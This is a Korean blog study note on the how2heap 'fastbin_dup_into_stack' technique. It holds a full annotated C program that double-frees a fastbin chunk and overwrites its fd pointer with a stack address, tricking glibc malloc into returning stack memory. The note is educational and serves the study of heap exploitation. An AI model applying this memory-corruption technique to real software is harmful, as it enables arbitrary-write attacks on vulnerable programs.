-
fastbin_dup_into_stack - how2heapHeap exploitation/how2heap 2020. 2. 17. 20:53
Abstract
fastbin_dup을 응용한 기법이다. fastbin_dup를 응용한 기법이다. fastbin_dup과의 차이점은 double-free를 한 후 다시 첫번째, 두번째 청크를 할당하고 첫번째 청크의 fd값을 stack의 주소(여기서는 stack이라 했지만 할당을 원하는 주소)로 변경해주는 것이다. fd값을 변경한 후 다시 같은 크기의 청크를 요청하면 stack의 주소를 리턴해준다.
- 주의점: fastbin에서 재할당을 할 때는 청크의 사이즈가 요청한 사이즈와 같은지 확인한다. 그래서 변경한 fd값 + 0x8(64bit 기준)의 주소에 청크 사이즈가 저장되어 있어야 한다.
- 청크의 사이즈는 4바이트만 검사하기 때문에 하위 4바이트만 크기를 맞춰주면 된다.
Exploit Flow
- 동일한 크기의 fastchunk를 3개 할당.
- (1), (2), (1)의 순서로 free.
- 동일한 크기의 fastchunk를 두번 할당.
- 첫번째로 할당받은 chunk의 fd에 스택의 주소를 저장.
- 저장한 fd+0x8의 주소에 요청한 사이즈의 청크사이즈를 계산해 저장.
- 한번 더 같은 사이즈의 fastchunk를 요청하면 fd+0x10의 주소가 리턴.
Code
#include <stdio.h> #include <stdlib.h> int main() { fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n"); unsigned long long stack_var; // malloc이 리턴해줄 주소는 (char*)&stack_var + 8 이다. // 여기서 stack_var는 청크의 size 위치이다. fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var); // 힙 세개를 할당한다. fprintf(stderr, "Allocating 3 buffers.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8); fprintf(stderr, "1st malloc(8): %p\n", a); fprintf(stderr, "2nd malloc(8): %p\n", b); fprintf(stderr, "3rd malloc(8): %p\n", c); // 첫번재 힙을 해제한다. fprintf(stderr, "Freeing the first one...\n"); free(a); // fastbin_dup과 같이 연속으로 두번 해제하면 double-free로 인해 크래시가 난다. fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); // free(a); // 두번째 힙을 해제한다. fprintf(stderr, "So, instead, we'll free %p.\n", b); free(b); // 다시 첫번째 힙을 해제한다. fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a); // malloc을 통해 첫번째로 할당받은 힙을 재할당받는다. fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsigned long long *d = malloc(8); // 이렇게 할당받은 청크의 fd값을 변경할 것이다. fprintf(stderr, "1st malloc(8): %p\n", d); fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); fprintf(stderr, "Now the free list has [ %p ].\n", a); fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that malloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); // 먼저 fake chunk의 size값을 0x20으로 변경해준다. stack_var = 0x20; // 첫번째 청크의 fd값을 (char*)&stack_var - 8 주소로 변경한다. fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); // 다시 한번 힙을 할당받으면 두번째 청크가 fastbin에서 빠지면서 fasbin에 우리가 넣어준 값이 들어간다. fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); // 마지막으로 한번 더 할당받으면 우리가 설정한 값 + 0x10의 주소가 할당된다. fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); }
(1), (2), (1) 순으로 free하고 다시 한번 할당받는 것까지 fastbin_dup과 같으므로 생략한다.
이후 첫번째 청크의 fd를 변경하기 위해 fake chunk의 size값을 설정해준다.
$rbp-0x30은 stack_var이다. 이렇게 되면 fd의 값을 0x7fffffffddb8로 변경해주면 된다.
이렇게 변경해주면 fastbin은 아래와 같은 상태가 된다.
fastbin을 의도한대로 변경했다. 이제 두번 malloc을 받으면 스택 주소를 할당받을 수 있다.
'Heap exploitation > how2heap' 카테고리의 다른 글
House of Orange - how2heap (0) 2020.02.26 fastbin_dup_consolidate - how2heap (0) 2020.02.17 fastbin_dup - how2heap (0) 2020.02.17